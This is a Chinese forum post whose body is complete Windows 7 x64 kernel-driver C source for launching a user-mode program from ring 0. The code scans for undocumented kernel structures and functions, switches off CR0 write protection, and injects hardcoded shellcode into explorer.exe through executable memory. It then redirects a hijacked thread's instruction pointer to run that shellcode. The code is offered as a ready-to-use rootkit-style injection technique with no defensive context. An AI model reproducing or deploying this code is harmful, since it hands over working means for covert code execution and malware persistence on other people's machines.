如何从Windows内核中启动一个R3的程序

[复制链接]

该用户从未签到

2380

主题

2433

帖子

9139

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
9139
QQ
跳转到指定楼层
楼主
发表于 2022-4-15 20:08:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式

想要查看内容赶紧注册登陆吧!

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
  1. /*
  2. win7x64下 WinExec执行程序,通过把shellcode注入到explorer.exe进程中
  3. 使用方法
  4. #include <inject_shellcode.h>
  5. Ring0Win7X64WinExec();
  6. */
  7. #define PS_CROSS_THREAD_FLAGS_SYSTEM 0x00000010UL

  8. char* path = "D:\\msxboxtest.exe"; //要执行的程序,路劲大小不要超过40字节

  9. typedef struct _SYSTEM_SERVICE_TABLE{
  10.         PVOID                  ServiceTableBase;
  11.         PVOID                  ServiceCounterTableBase;
  12.         ULONGLONG          NumberOfServices;
  13.         PVOID                  ParamTableBase;
  14. } SYSTEM_SERVICE_TABLE, *PSYSTEM_SERVICE_TABLE;

  15. typedef
  16. NTSTATUS
  17. (__stdcall *
  18. pfnZwSuspendThread)(
  19. IN HANDLE ThreadHandle,
  20. OUT PULONG PreviousSuspendCount OPTIONAL
  21. );

  22. typedef
  23. NTSTATUS
  24. (__stdcall *
  25. pfnZwSuspendThread)(
  26. IN HANDLE ThreadHandle,
  27. OUT PULONG PreviousSuspendCount OPTIONAL
  28. );

  29. typedef struct _LDR_DATA_TABLE_ENTRY {
  30.     PVOID Reserved1[2];
  31.     LIST_ENTRY InMemoryOrderLinks;
  32.     PVOID Reserved2[2];
  33.     PVOID DllBase;
  34.     PVOID EntryPoint;
  35.     PVOID Reserved3;
  36.     UNICODE_STRING FullDllName;
  37.     BYTE Reserved4[8];
  38.     PVOID Reserved5[3];
  39.     union {
  40.         ULONG CheckSum;
  41.         PVOID Reserved6;
  42.     };
  43.     ULONG TimeDateStamp;
  44. } LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;



  45. PSYSTEM_SERVICE_TABLE KeServiceDescriptorTable;
  46. pfnZwSuspendThread KeSuspendThread = NULL;
  47. pfnZwSuspendThread KeResumeThread = NULL;
  48. ULONGLONG PsSuspendThreadAddr = 0;
  49. ULONGLONG g_WinExec;
  50. //PUCHAR ShellCode="\x50\x48\xC7\xC0\x50\x8D\x0C\x77\x48\x8D\x0D\x95\x11\x00\x00\xBA\x05\x00\x00\x00\xFF\xD0\x58\xE9\x78\x56\x34\x12\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";

  51. /*
  52. 000000013F7F1020  50                    push        rax
  53. 000000013F7F1021  48 C7 C0 50 8D 0C 77  mov         rax,0x770C8D50        ; WinExec
  54. 000000013F7F1004  48 8D 0D 95 11 00 00  lea         rcx,[000000013F7F21A0]
  55. 000000013F7F1028  BA 05 00 00 00        mov         edx,0x5
  56. 000000013F7F102D  FF D0                 call        rax
  57. 000000013F7F102F  58                    pop         rax
  58. */
  59. ULONGLONG GetKeServiceDescriptorTable64();
  60. ULONGLONG GetSSDTFuncCurAddr(ULONG id);
  61. VOID GetKeResumeThreadAddr();
  62. VOID GetPsSuspendThreadAddr();
  63. VOID GetKeSuspendThreadAddr();
  64. ULONGLONG SearchApiWin7x64();
  65. ULONGLONG GetKeServiceDescriptorTable64();
  66. void WPOFFx64();
  67. void WPONx64();
  68. VOID InjectShellCode(PETHREAD pThread,PEPROCESS pProcess);
  69. BOOLEAN Inject(char* strProc, int len);
  70. VOID Ring0Win7X64WinExec();

  71. typedef struct WorkItemContext{
  72.     PWORK_QUEUE_ITEM Item;
  73.     HANDLE Pid;
  74. }WorkItemContext;



  75. ULONGLONG GetKeServiceDescriptorTable64() //我的方法
  76. {
  77.         PUCHAR StartSearchAddress = (PUCHAR)__readmsr(0xC0000082);
  78.         PUCHAR EndSearchAddress = StartSearchAddress + 0x500;
  79.         PUCHAR i = NULL;
  80.         UCHAR b1 = 0, b2 = 0, b3 = 0;
  81.         ULONG templong = 0;
  82.         ULONGLONG addr = 0;
  83.         for (i = StartSearchAddress; i<EndSearchAddress; i++)
  84.         {
  85.                 if (MmIsAddressValid(i) && MmIsAddressValid(i + 1) && MmIsAddressValid(i + 2))
  86.                 {
  87.                         b1 = *i;
  88.                         b2 = *(i + 1);
  89.                         b3 = *(i + 2);
  90.                         if (b1 == 0x4c && b2 == 0x8d && b3 == 0x15) //4c8d15
  91.                         {
  92.                                 memcpy(&templong, i + 3, 4);
  93.                                 addr = (ULONGLONG)templong + (ULONGLONG)i + 7;
  94.                                 return addr;
  95.                         }
  96.                 }
  97.         }
  98.         return 0;
  99. }


  100. /*
  101. ULONGLONG GetKeServiceDescriptorTable64()
  102. {
  103.         char KiSystemServiceStart_pattern[13] = "\x8B\xF8\xC1\xEF\x07\x83\xE7\x20\x25\xFF\x0F\x00\x00";        
  104.         ULONGLONG CodeScanStart = (ULONGLONG)&_strnicmp;
  105.         ULONGLONG CodeScanEnd = (ULONGLONG)&KdDebuggerNotPresent;
  106.         UNICODE_STRING Symbol;
  107.         ULONGLONG i, tbl_address, b;
  108.         for (i = 0; i < CodeScanEnd - CodeScanStart; i++)
  109.         {
  110.                 if (!memcmp((char*)(ULONGLONG)CodeScanStart +i, (char*)KiSystemServiceStart_pattern,13))
  111.                 {
  112.                         for (b = 0; b < 50; b++)
  113.                         {
  114.                                 tbl_address = ((ULONGLONG)CodeScanStart+i+b);
  115.                                 if (*(USHORT*) ((ULONGLONG)tbl_address ) == (USHORT)0x8d4c)
  116.                                         return ((LONGLONG)tbl_address +7) + *(LONG*)(tbl_address +3);
  117.                         }
  118.                 }
  119.         }
  120.         return 0;
  121. }

  122. */

  123. ULONGLONG GetSSDTFuncCurAddr(ULONG id)
  124. {
  125.         LONG dwtmp=0;
  126.         PULONG ServiceTableBase=NULL;
  127.         KeServiceDescriptorTable = (PSYSTEM_SERVICE_TABLE)GetKeServiceDescriptorTable64();
  128.         DbgPrint("KeServiceDescriptorTable addr:%llx", KeServiceDescriptorTable);
  129.         if (KeServiceDescriptorTable == 0)
  130.         {
  131.                 return 0;
  132.         }
  133.         ServiceTableBase=(PULONG)KeServiceDescriptorTable->ServiceTableBase;
  134.         dwtmp=ServiceTableBase[id];
  135.         dwtmp=dwtmp>>4;
  136.         return (LONGLONG)dwtmp + (ULONGLONG)ServiceTableBase;
  137. }

  138. VOID GetKeResumeThreadAddr()
  139. {
  140.         ULONG32 callcode=0;
  141.         ULONG64 AddressOfPspTTBP=0,AddressOfPsTST=0,i=0; //保存导出PsSuspendThread函数的地址
  142.         ULONG64 AddressOfPsTSTHigh32=0;
  143.         UNICODE_STRING UniCodeFunctionName;
  144.         AddressOfPsTST=GetSSDTFuncCurAddr(79);
  145.         if (AddressOfPsTST == 0)
  146.         {
  147.                 return;
  148.         }

  149.         
  150.         DbgPrint("NtResumeThread:%llx\n",AddressOfPsTST);
  151.         if(KeResumeThread==NULL)
  152.         {
  153.                 if(AddressOfPsTST==0)
  154.                         return;

  155.                 //根据特征码寻找 特征码 01 e8
  156.                 for(i=1;i<0xff;i++)
  157.                 {
  158.                         if(MmIsAddressValid((PVOID)(AddressOfPsTST+i))!=FALSE)
  159.                         {
  160.                                 if(*(BYTE *)(AddressOfPsTST+i)==0x60 && *(BYTE *)(AddressOfPsTST+i+1)==0xe8) //目标地址-原始地址-5=机器码 ==> 目标地址=机器码+5+原始地址
  161.                                 {
  162.                                         DbgPrint("AddressOfPsTST+i:%llx\n",AddressOfPsTST+i);
  163.                                         RtlMoveMemory(&callcode,(PVOID)(AddressOfPsTST+i+2),4);
  164.                                         AddressOfPsTSTHigh32=AddressOfPsTST&0xFFFFFFFF00000000;
  165.                                         AddressOfPspTTBP=(ULONG64)(callcode + 5 + (ULONG32)AddressOfPsTST+i+1)+AddressOfPsTSTHigh32;
  166.                                         break;
  167.                                 }
  168.                         }
  169.                 }
  170.                 KeResumeThread=(pfnZwSuspendThread)AddressOfPspTTBP;
  171.                 DbgPrint("KeResumeThreadAddr:%llx\n",KeResumeThread);
  172.         
  173.         }

  174. }

  175. VOID GetPsSuspendThreadAddr()
  176. {
  177.         ULONG32 callcode=0;
  178.         ULONG64 AddressOfPspTTBP=0,AddressOfPsTST=0,i=0; //保存导出PsSuspendThread函数的地址
  179.         ULONG64 AddressOfPsTSTHigh32=0;
  180.         UNICODE_STRING UniCodeFunctionName;
  181.         AddressOfPsTST=GetSSDTFuncCurAddr(379);
  182.         if (AddressOfPsTST == 0)
  183.         {
  184.                 return;
  185.         }

  186.         
  187.         DbgPrint("NtSuspendThread:%llx\n",AddressOfPsTST);
  188.         if(PsSuspendThreadAddr==0)
  189.         {
  190.                 if(AddressOfPsTST==0)
  191.                         return;

  192.                 //根据特征码寻找 特征码 01 e8
  193.                 for(i=1;i<0xff;i++)
  194.                 {
  195.                         if(MmIsAddressValid((PVOID)(AddressOfPsTST+i))!=FALSE)
  196.                         {
  197.                                 if(*(BYTE *)(AddressOfPsTST+i)==0x68 && *(BYTE *)(AddressOfPsTST+i+1)==0xe8) //目标地址-原始地址-5=机器码 ==> 目标地址=机器码+5+原始地址
  198.                                 {
  199.                                         DbgPrint("AddressOfPsTST+i:%llx\n",AddressOfPsTST+i);
  200.                                         RtlMoveMemory(&callcode,(PVOID)(AddressOfPsTST+i+2),4);
  201.                                         AddressOfPsTSTHigh32=AddressOfPsTST&0xFFFFFFFF00000000;
  202.                                         AddressOfPspTTBP=(ULONG64)(callcode + 5 + (ULONG32)AddressOfPsTST+i+1)+AddressOfPsTSTHigh32;
  203.                                         break;
  204.                                 }
  205.                         }
  206.                 }
  207.                 PsSuspendThreadAddr=AddressOfPspTTBP;
  208.                 DbgPrint("PsSuspendThreadAddr:%llx\n",PsSuspendThreadAddr);
  209.         
  210.         }

  211. }

  212. VOID GetKeSuspendThreadAddr()
  213. {
  214.         ULONG64 PspExitThread=0;
  215.         ULONG32 callcode=0;
  216.         ULONG64 AddressOfPsTSTHigh32=0; //用于保存地址的高32位
  217.         
  218.         ULONG64 AddressOfPspTTBP=0,AddressOfPsTST=0,i=0; //保存导出PsTerminateSystemThread函数的地址
  219.         AddressOfPsTST=(ULONG64)PsSuspendThreadAddr;
  220.         DbgPrint("PsSuspendThreadAddr:%llx\n",AddressOfPsTST);
  221.         if(KeSuspendThread==NULL)
  222.         {
  223.                 if(AddressOfPsTST==0)
  224.                         return;

  225.                 //根据特征码寻找 特征码 8b cd e8
  226.                 for(i=1;i<0xff;i++)
  227.                 {
  228.                         if(MmIsAddressValid((PVOID)(AddressOfPsTST+i))!=FALSE)
  229.                         {
  230.                                 if(*(BYTE *)(AddressOfPsTST+i)==0x8b && *(BYTE *)(AddressOfPsTST+i+1)==0xce && *(BYTE *)(AddressOfPsTST+i+2)==0xe8) //目标地址-原始地址-5=机器码 ==> 目标地址=机器码+5+原始地址
  231.                                 {
  232.                                         RtlMoveMemory(&callcode,(PVOID)(AddressOfPsTST+i+3),4);
  233.                                         DbgPrint("callcode:%llx\n",(ULONG64)callcode);
  234.                                         AddressOfPsTSTHigh32=AddressOfPsTST&0xFFFFFFFF00000000;
  235.                                         AddressOfPspTTBP=(ULONG64)(callcode + 5 + (ULONG32)AddressOfPsTST+i+2)+AddressOfPsTSTHigh32;
  236.                                         break;
  237.                                 }
  238.                         }
  239.                 }
  240.                 KeSuspendThread=(pfnZwSuspendThread)AddressOfPspTTBP;
  241.                 DbgPrint("KeSuspendThread:%llx\n",KeSuspendThread);
  242.         
  243.         }

  244. }

  245. ULONGLONG SearchApiWin7x64()
  246. {
  247.     PPEB peb = NULL;
  248.         PUCHAR lpname = NULL;
  249.         ULONGLONG peb_ldr_data;
  250.         ULONGLONG ModuleList;
  251.         ULONGLONG dllbase;
  252.         ULONGLONG exe_header;
  253.         ULONGLONG MyOptionalHeader;
  254.         ULONG OutputRva;
  255.         ULONG MyAddressOfNames;
  256.         ULONG MyVirtualAddressVal;
  257.         ULONG AddrOfNamesRva;
  258.         ULONG myFunRva;
  259.         ULONG NumberOfNames;
  260.         ULONGLONG FuncAddr;
  261.         ULONG AddrOfFuncsRva;
  262.         ULONGLONG WinExecAddr;
  263.         ULONG WinExecAddrRva;
  264.         PSTR myFun;
  265.         PLDR_DATA_TABLE_ENTRY data = NULL;
  266.         UNICODE_STRING sFullDllName;
  267.                
  268.         PEPROCESS pSystemProcess = PsGetCurrentProcess();
  269.         PLIST_ENTRY pCurrentList = (PLIST_ENTRY)((PUCHAR)pSystemProcess + 0x188); //ActiveProcessLinks
  270.     PLIST_ENTRY pTempList = pCurrentList;
  271.     PEPROCESS pEProcess = NULL;
  272.         do{
  273.                
  274.                 pEProcess = (PEPROCESS)((PUCHAR)pTempList - 0x188);
  275.                 peb = (PPEB)(*(PULONGLONG)((PUCHAR)pEProcess + 0x338));  //peb
  276.                 lpname = (PUCHAR)pEProcess + 0x2e0; // ImageFileName
  277.                 //DbgPrint("process %s\n", lpname);
  278.                 if((peb != NULL)&&(_strnicmp(lpname, "explorer.exe", 8) == 0)) //找到进程 explorer.exe
  279.                 {
  280.                         PKAPC_STATE pKs = (PKAPC_STATE)ExAllocatePool(NonPagedPool, sizeof(PKAPC_STATE));
  281.                         DbgPrint("process %s\n", lpname);
  282.                         KeStackAttachProcess((PKPROCESS)pEProcess,pKs);
  283.                         
  284.                         peb_ldr_data  = *(PULONGLONG)((PUCHAR)peb+0x018);
  285.                         DbgPrint("peb_ldr_data: %llx\n", peb_ldr_data);        
  286.                         ModuleList = *(PULONGLONG)((PUCHAR)peb_ldr_data+0x030);
  287.                         data = (PLDR_DATA_TABLE_ENTRY)((PUCHAR)ModuleList-0x020);
  288.                         sFullDllName= data->FullDllName;
  289.                         //找到kernel32.dll
  290.                         while(wcsstr(sFullDllName.Buffer,L"kernel32.dll") == NULL)
  291.                         {
  292.                                 ModuleList =*(PULONGLONG) ModuleList; //取下一个模块
  293.                                 data = (PLDR_DATA_TABLE_ENTRY)((PUCHAR)ModuleList-0x020);
  294.                                 sFullDllName= data->FullDllName;
  295.                         }
  296.                         data = (PLDR_DATA_TABLE_ENTRY)((PUCHAR)ModuleList-0x020); //此时的data为kernel32.dll对应的LDR_DATA_TABLE_ENTRY结构体
  297.                         sFullDllName= data->FullDllName;
  298.                         
  299.                         dllbase = *(PULONGLONG)((PUCHAR)data+0x030);
  300.                         DbgPrint("dllbase:%llx\n",dllbase);
  301.                         
  302.                         exe_header = dllbase+(*(PULONG)(dllbase+0x3c));  //PE header
  303.                         DbgPrint("exe_header:%llx\n",exe_header);
  304.                         
  305.                         MyOptionalHeader=exe_header+0x018;
  306.                         
  307.                         DbgPrint("MyOptionalHeader:%llx\n",MyOptionalHeader);
  308.                         
  309.                         MyVirtualAddressVal = *(PULONG)(MyOptionalHeader+0x070); //VirtualAddressVal的值
  310.                         
  311.                         DbgPrint("MyVirtualAddressVal:%x\n",MyVirtualAddressVal);
  312.                         
  313.                         NumberOfNames = *(PULONG)(MyVirtualAddressVal + dllbase + 0x18); //函数的数量
  314.                         
  315.                         AddrOfFuncsRva = *(PULONG)(MyVirtualAddressVal + dllbase + 0x1c); //AddrOfFuns的rva
  316.                         
  317.                         WinExecAddrRva = *(PULONG)(AddrOfFuncsRva+dllbase+(0x528-0x1)*4); //winexec偏移地址
  318.                         
  319.                         DbgPrint("WinExecAddrRva:%x\n",WinExecAddrRva);
  320.                         
  321.                         WinExecAddr =WinExecAddrRva+dllbase; //winexec地址
  322.                         
  323.                         DbgPrint("WinExecAddr:%llx\n",WinExecAddr);                                
  324.                         
  325.                         //以下是获取第一个函数名字代码
  326.                         /*
  327.                         AddrOfNamesRva=*(PULONG)((ULONGLONG)MyVirtualAddressVal + dllbase + 0x20); //AddrOfNames的偏移地址
  328.                         
  329.                         DbgPrint("AddrOfNamesRva:%x\n",AddrOfNamesRva);
  330.                         
  331.                         myFunRva = *(PULONG)((ULONGLONG)AddrOfNamesRva + dllbase); //函数名字的偏移地址
  332.                         
  333.                         myFun = (PSTR)((ULONGLONG)myFunRva + dllbase ); //函数名字的地址
  334.                         
  335.                         DbgPrint("myFun:%s\n",myFun);
  336.                         */
  337.                                 
  338.                         KeUnstackDetachProcess(pKs);
  339.                         
  340.                         
  341.                         
  342.                         
  343.                 }
  344.                 pTempList = pTempList->Flink;//下一个活动的进程

  345.         } while(pCurrentList != pTempList);
  346.         
  347.         return WinExecAddr;
  348. }

  349. void WPOFFx64()
  350. {
  351.         UINT64 cr0=__readcr0();
  352.         cr0 &= 0xfffffffffffeffff;
  353.         __writecr0(cr0);
  354.         _disable();
  355. }

  356. //打开写保护
  357. void WPONx64()
  358. {
  359.         UINT64 cr0=__readcr0();
  360.         cr0 |= 0x10000;
  361.         _enable();
  362.         __writecr0(cr0);
  363. }

  364. VOID InjectShellCode(PETHREAD pThread,PEPROCESS pProcess)
  365. {
  366.         ULONGLONG i;
  367.         ULONGLONG startaddr;
  368.         PKTRAP_FRAME pTrapFrame;
  369.         ULONG jmpOffset;
  370.         PCLIENT_ID  pCid;
  371.         OBJECT_ATTRIBUTES oa;
  372.         HANDLE hProcess;
  373.         NTSTATUS ntstatus;
  374.         PVOID lpTargetPath = NULL;
  375.         ULONGLONG pathAddr;
  376.         ULONGLONG patht;
  377.         ULONG offAddr;
  378.         KIRQL irql;
  379.         int len;
  380.         PUCHAR ShellCode_Const = "\x50\x48\xC7\xC0\x50\x8D\x0C\x77\x48\x8D\x0D\x95\x11\x00\x00\xBA\x05\x00\x00\x00\xFF\xD0\x58\xE9\x78\x56\x34\x12\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
  381.     PUCHAR ShellCode = ExAllocatePool(PagedPool, 72);
  382.         RtlMoveMemory(ShellCode, ShellCode_Const, 72);
  383.         
  384.         DbgBreakPoint();

  385.         DbgPrint("Inject Start\n");
  386.         
  387.         
  388.         __try {
  389.                 KeSuspendThread(pThread, NULL);
  390.         }
  391.         __except(1) {
  392.                 return;
  393.         }
  394.         
  395.         // PTrapFrame中就是该线程的各个寄存器的值
  396.         pTrapFrame = *(PKTRAP_FRAME*)((ULONGLONG)pThread + 0x1d8);
  397.         //如果
  398.         if (pTrapFrame == 0)
  399.         {
  400.                 return;
  401.         }

  402.         DbgPrint("pTrapFrame:%llx\n",pTrapFrame);        
  403.         DbgPrint("ShellCode addr:%llx\n",ShellCode);
  404.         startaddr = (ULONGLONG)ShellCode;

  405.         
  406.   

  407.   
  408.   WPOFFx64();
  409.   RtlCopyMemory((PUCHAR)startaddr + 4, &g_WinExec, 4);    //填写winexec地址
  410.   
  411.   lpTargetPath = (PVOID)((ULONGLONG)startaddr + 32);
  412.   memset(lpTargetPath, 0, 40);
  413.   DbgPrint("path len:%d\n",strlen(path));
  414.   DbgPrint("path addr: %llx\n",path);
  415.   pathAddr = ((ULONGLONG)startaddr + 40);
  416.   offAddr = (ULONG)(pathAddr-startaddr-15);
  417.   RtlCopyMemory((PVOID)((PUCHAR)startaddr + 40), path, 32); //拷贝path字符串到shellcode中
  418.   RtlCopyMemory((PUCHAR)startaddr + 11, &offAddr, 4); //拷贝偏移量到shellcode中
  419.   
  420.   WPONx64();
  421.   

  422.   
  423.   // 下面的代码是分配空间来放置ShellCode
  424.   InitializeObjectAttributes(&oa,0,0,0,0);
  425.   pCid = (CLIENT_ID*)((ULONGLONG)pThread + 0x3b8);
  426.   ntstatus = ZwOpenProcess(
  427.     &hProcess,
  428.     PROCESS_ALL_ACCESS,
  429.     &oa,
  430.     pCid
  431.     );
  432.   if ( NT_SUCCESS(ntstatus) )
  433.   {
  434.         PVOID pBuff = NULL;
  435.     SIZE_T size = 0x64;
  436.     ntstatus = ZwAllocateVirtualMemory(
  437.       hProcess,
  438.       &pBuff,
  439.       0,
  440.       &size,
  441.       MEM_RESERVE | MEM_COMMIT,
  442.       PAGE_EXECUTE_READWRITE
  443.       );
  444.         if( NT_SUCCESS(ntstatus) )
  445.         {
  446.           KAPC_STATE kapc;
  447.       // 拷贝ShellCode到目标进程中去
  448.       KeStackAttachProcess((PRKPROCESS)pProcess,&kapc);
  449.           //设置jmp 原rip
  450.           DbgPrint("buf addr:%llx\n",pBuff);
  451.           DbgPrint("Rip:%llx]n",(ULONGLONG)pTrapFrame->Rip);
  452.           jmpOffset=(ULONG)(((ULONG)pTrapFrame->Rip)-(ULONG)pBuff-0x1c);
  453.           for( i = startaddr; i <= startaddr + 0x72; ++i ) {
  454.                 if( MmIsAddressValid((PVOID)i) && MmIsAddressValid((PVOID)(i+7)) ){
  455.                         if ( *(PULONG)i == 0x12345678 )
  456.                         {
  457.                                 DbgPrint("find modify point\n");
  458.                                 WPOFFx64();
  459.                                 *(PULONG)i = jmpOffset;//修改跳转地址,执行完shellcode跳到原Rip
  460.                                 WPONx64();
  461.                                 break;
  462.                         }
  463.         }
  464.       }
  465.   
  466.           RtlCopyMemory(pBuff,ShellCode,72);//拷贝ShellCode过去
  467.   
  468.       KeUnstackDetachProcess (&kapc);
  469.       // pTrapFrame->Eip指向ShellCode
  470.           DbgPrint("buf addr:%llx\n",pBuff);
  471.       pTrapFrame->Rip = (ULONGLONG)pBuff;
  472.          
  473.         }
  474.         ZwClose(hProcess);
  475.   }
  476.   KeResumeThread(pThread, NULL);
  477.   DbgPrint("Inject End\n");
  478. }

  479. BOOLEAN Inject(char* strProc, int len)
  480. {
  481.         PPEB peb = NULL;
  482.         PUCHAR lpname = NULL;
  483.         PEPROCESS pProcess;
  484.         PETHREAD pThread;
  485.         PLIST_ENTRY pListHead, pNextEntry;
  486.         PLIST_ENTRY pThListHead, pThNextEntry;
  487.         UCHAR SuspendCount;
  488.         ULONG CrossThreadFlags;
  489.         pProcess = PsGetCurrentProcess();
  490.         pListHead = (PLIST_ENTRY)((PUCHAR)pProcess + 0x188);  //win7x64下是188 //ActiveProcessLinks
  491.         pNextEntry = pListHead;
  492.         do
  493.         {
  494.                 pProcess = (PEPROCESS)((ULONGLONG)pNextEntry - 0x188);
  495.                 peb = (PPEB)(*(PULONGLONG)((PUCHAR)pProcess + 0x338));  //peb
  496.                 lpname = (PUCHAR)pProcess + 0x2e0; // ImageFileName
  497.                 DbgPrint("process %s\n", lpname);
  498.                
  499.                 //if( !_strnicmp((char*)pProcess + 0x2e0, strProc, len) )
  500.                 if( !_strnicmp(lpname, strProc, len) )
  501.                 {
  502.                         DbgPrint("find process\n");
  503.                         pThListHead = (PLIST_ENTRY)((ULONGLONG)pProcess + 0x308);
  504.                         pThNextEntry = pThListHead->Flink;
  505.                         while ( pThNextEntry != pThListHead)
  506.                         {
  507.                                 //查找符合条件的线程
  508.                                 pThread = (PETHREAD)((ULONGLONG)pThNextEntry - 0x428);
  509.                                 SuspendCount = *(PUCHAR)((ULONGLONG)pThread + 0x26c);
  510.                                 CrossThreadFlags = *(PULONG)((ULONGLONG)pThread + 0x450);
  511.                                 if( !SuspendCount && (CrossThreadFlags & PS_CROSS_THREAD_FLAGS_SYSTEM) == 0 )
  512.                                 {
  513.                                         //非Suspen,非退出,非内核
  514.                                         DbgPrint("find thread\n");
  515.                                         DbgPrint("pThread addr:%llx\n",pThread);
  516.                                         InjectShellCode(pThread,pProcess);
  517.                                         return TRUE;
  518.                                         break;
  519.                                 }
  520.                                 pThNextEntry = pThNextEntry->Flink;
  521.                                 
  522.                         }
  523.                         break;
  524.                 }
  525.                 pNextEntry = pNextEntry->Flink;
  526.         } while(pNextEntry != pListHead);
  527.         return FALSE;
  528. }

  529. VOID Ring0Win7X64WinExec()
  530. {
  531.     //得到KeSuspendThreadAddr地址
  532.         GetPsSuspendThreadAddr();
  533.         GetKeSuspendThreadAddr();
  534.         
  535.         //得到KeResumeThread地址
  536.         GetKeResumeThreadAddr();
  537.         
  538.         //获取WinExec地址
  539.         g_WinExec = SearchApiWin7x64();
  540.         
  541.         Inject("explorer.exe",8);

  542. }
复制代码


分享到:  QQ好友和群QQ好友和群
收藏收藏
回复

使用道具 举报

快速回复高级模式
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表